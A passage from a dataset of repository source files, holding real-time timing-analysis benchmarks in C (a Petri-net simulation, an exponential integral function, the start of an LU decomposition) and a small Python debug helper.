P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[0])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[1])\n && (P2_marking_member_0[4] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 3, 4, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[4] == P2_marking_member_0[2])\n && (P2_marking_member_0[4] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[3];\n b = P2_marking_member_0[4];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[1])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[2])\n && (P2_marking_member_0[0] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 0, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[0] == P2_marking_member_0[3])\n && (P2_marking_member_0[0] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[0];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[0])\n && (P2_marking_member_0[1] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[2])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 2, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[2])\n && (P2_marking_member_0[1] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 1, 3, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[1] == P2_marking_member_0[3])\n && (P2_marking_member_0[1] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[1];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 0, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[0])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[3];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 1, 3 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[1])\n && (P2_marking_member_0[2] == P2_marking_member_0[3])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 3, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 2, 3, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[2] == P2_marking_member_0[3])\n && (P2_marking_member_0[2] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[2];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 0, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 0, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[0])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 1, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[2];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 1, 2 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[1])\n && (P2_marking_member_0[3] == P2_marking_member_0[2])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 2, 0 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[0])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_marking_member_0[0] = P2_marking_member_0[1];\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n\n /* Permutation for Place P2 : 4, 3, 2, 1 */\n /* Transition T2 */\n if ((P2_is_marked >= 5) && ((P3_is_marked + 3) <= 6)\n && ((P2_marking_member_0[3] == P2_marking_member_0[2])\n && (P2_marking_member_0[3] == P2_marking_member_0[1])))\n {\n\n long a;\n long b;\n long c;\n\n a = P2_marking_member_0[4];\n b = P2_marking_member_0[3];\n\n /* Transition condition */\n if ((b > a))\n {\n\n /* demarking of input places */\n P2_is_marked -= 4;\n\n /* preaction */\n c = a + b;\n\n /* marking of output places */\n P3_marking_member_0[P3_is_marked + 0] = a;\n P3_marking_member_0[P3_is_marked + 1] = b;\n P3_marking_member_0[P3_is_marked + 2] = c;\n P3_is_marked += 3;\n\n } /* end of if (Transition condition) */\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * One integer must be supplied\n */\n if (argc != 2)\n {\n return 1;\n }\n\n petri (atoi (argv[1]));\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.6236162185668945, "alphanum_fraction": 0.6420664191246033, "avg_line_length": 18.35714340209961, "blob_id": "e21af447f530f4cd0c8429838437559a12da13d0", "content_id": "10c611f6507bb7b0d021fe14564aafb0ff8cfa2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 41, "num_lines": 14, "path": "/GPUTimingAnalysis/src/Debug.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "verbose = False\ndebug = 0\n\ndef debugMessage (string, debugLevel=1):\n if debug > 0 and debugLevel <= debug:\n print(string)\n\ndef verboseMessage (string):\n if verbose or debug > 0:\n print(string)\n\ndef exitMessage(string):\n print(string)\n exit(1)\n" }, { "alpha_fraction": 0.35875943303108215, "alphanum_fraction": 0.4279128313064575, "avg_line_length": 15.921985626220703, "blob_id": "863119d5e70856e841e6c15d97a76803af1a361c", "content_id": "350c4a482cb68fff4e8d935bdae09950aa8a8073", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2386, "license_type": "no_license", "max_line_length": 76, "num_lines": 141, "path": "/DaikonPathInformation/benchmarks/exponential_integral.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Exponential integral function taken from MDH suite and modified by Adam Betts\n * to consume a test vector supplied on the command line.\n *\n * For this program, the test vector consists of 2 integers.\n */\n\nlong int\nexponential_integral (int n, int x)\n{\n #ifdef CBMC\n int __count_25_27 = 0;\n int __count_26_45 = 0;\n int __count_29_44 = 0;\n int __count_31_33 = 0;\n int __count_32_33 = 0;\n int __count_37_42 = 0;\n int __count_39_40 = 0;\n int __count_L28 = 0;\n int __count_L43 = 0;\n int __count_L40 = 0;\n #endif\n\n int i, ii, nm1;\n long int a, b, c, d, del, fact, h, psi, ans;\n \n nm1 = n - 1;\n if (x > 1) // 20\n {\n // 23\n b = x + n;\n c = 2e6;\n d = 3e7;\n h = d;\n\n for (i = 1; \n #ifdef CBMC\n __count_L28++,\n #endif\n i <= 100; i++) // 28\n {\n a = -i * (nm1 + i);\n b += 2;\n d = 10* (a *d+b);\n c=b+a/c;\n del=c*d;\n h *= del;\n if (del < 10000) // 25\n {\n // 26\n #ifdef CBMC\n __count_26_45++;\n #endif\n ans=h*-x;\n return ans;\n }\n #ifdef CBMC\n else __count_25_27++;\n #endif\n }\n #ifdef CBMC\n __count_29_44++;\n #endif\n }\n else\n {\n #ifdef CBMC\n // TODO: check\n if(nm1 != 0) // 30\n {\n ans = 2; // 31\n __count_31_33++;\n }\n else\n {\n ans = 1000;\n __count_32_33++;\n }\n #else\n ans = nm1 != 0 ? 2 : 1000;\n #endif\n fact=1;\n for (i=1;\n #ifdef CBMC\n __count_L43++,\n #endif\n i<=100;i++) // 43\n {\n fact *= -x/i;\n if (i != nm1) // 35\n { // 36\n del = -fact/(i-nm1);\n #ifdef CBMC\n __count_37_42++;\n #endif\n }\n else\n { // 38\n psi = 0x00FF;\n for (ii=1; \n #ifdef CBMC\n __count_L40++,\n #endif\n ii <= nm1; ii++) // 40\n { \n psi += ii + nm1;\n #ifdef CBMC\n __count_39_40++;\n #endif\n }\n del = psi + fact * x * x + (8* x ) << 4 - x;\n }\n ans += del;\n }\n }\n return ans;\n}\n\nint\nmain (int argc, char *argv[])\n{\n long int answer;\n int param1;\n int param2;\n\n /*\n * Two integer values must be supplied\n */\n if (argc != 3)\n {\n return 1;\n }\n\n param1 = atoi (argv[1]);\n param2 = atoi (argv[2]);\n answer = exponential_integral(param1, param2);\n \n printf(\"%d\", param1);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.4222418963909149, "alphanum_fraction": 0.4839719533920288, "avg_line_length": 31.290109634399414, "blob_id": "6c0c13963c88a1abc35da444f7746edfa9365535", "content_id": "dd82d2052f5610708ee96ad743456d07c5de7522", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14693, "license_type": "no_license", "max_line_length": 94, "num_lines": 455, "path": "/DaikonPathInformation/benchmarks/LUdecomposition.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/* MDH WCET BENCHMARK SUITE. File version $Id: ludcmp.c,v 1.2 2006/01/27 13:15:28 jgn Exp $ */\n\n/*************************************************************************/\n/* */\n/* SNU-RT Benchmark Suite for Worst Case Timing Analysis */\n/* ===================================================== */\n/* Collected and Modified by S.-S. Lim */\n/* [email protected] */\n/* Real-Time Research Group */\n/* Seoul National University */\n/* */\n/* */\n/* < Features > - restrictions for our experimental environment */\n/* */\n/* 1. Completely structured. */\n/* - There are no unconditional jumps. */\n/* - There are no exit from loop bodies. */\n/* (There are no 'break' or 'return' in loop bodies) */\n/* 2. No 'switch' statements. */\n/* 3. No 'do..while' statements. */\n/* 4. Expressions are restricted. */\n/* - There are no multiple expressions joined by 'or', */\n/* 'and' operations. */\n/* 5. No library calls. */\n/* - All the functions needed are implemented in the */\n/* source file. */\n/* */\n/* */\n/*************************************************************************/\n/* */\n/* FILE: ludcmp.c */\n/* SOURCE : Turbo C Programming for Engineering */\n/* */\n/* DESCRIPTION : */\n/* */\n/* Simultaneous linear equations by LU decomposition. */\n/* The arrays a[][] and b[] are input and the array x[] is output */\n/* row vector. */\n/* The variable n is the number of equations. */\n/* The input arrays are initialized in function main. */\n/* */\n/* */\n/* REMARK : */\n/* */\n/* EXECUTION TIME : */\n/* */\n/* */\n/*************************************************************************/\n\n\n/* Changes:\n * JG 2005/12/12: Indented program. Removed unused variable nmax.\n */\n\n/*\n** Benchmark Suite for Real-Time Applications, by Sung-Soo Lim\n**\n** III-4. ludcmp.c : Simultaneous Linear Equations by LU Decomposition\n** (from the book C Programming for EEs by Hyun Soon Ahn)\n*/\n\n#define ARRAY_DIMENSION 6\ndouble a[ARRAY_DIMENSION][ARRAY_DIMENSION], 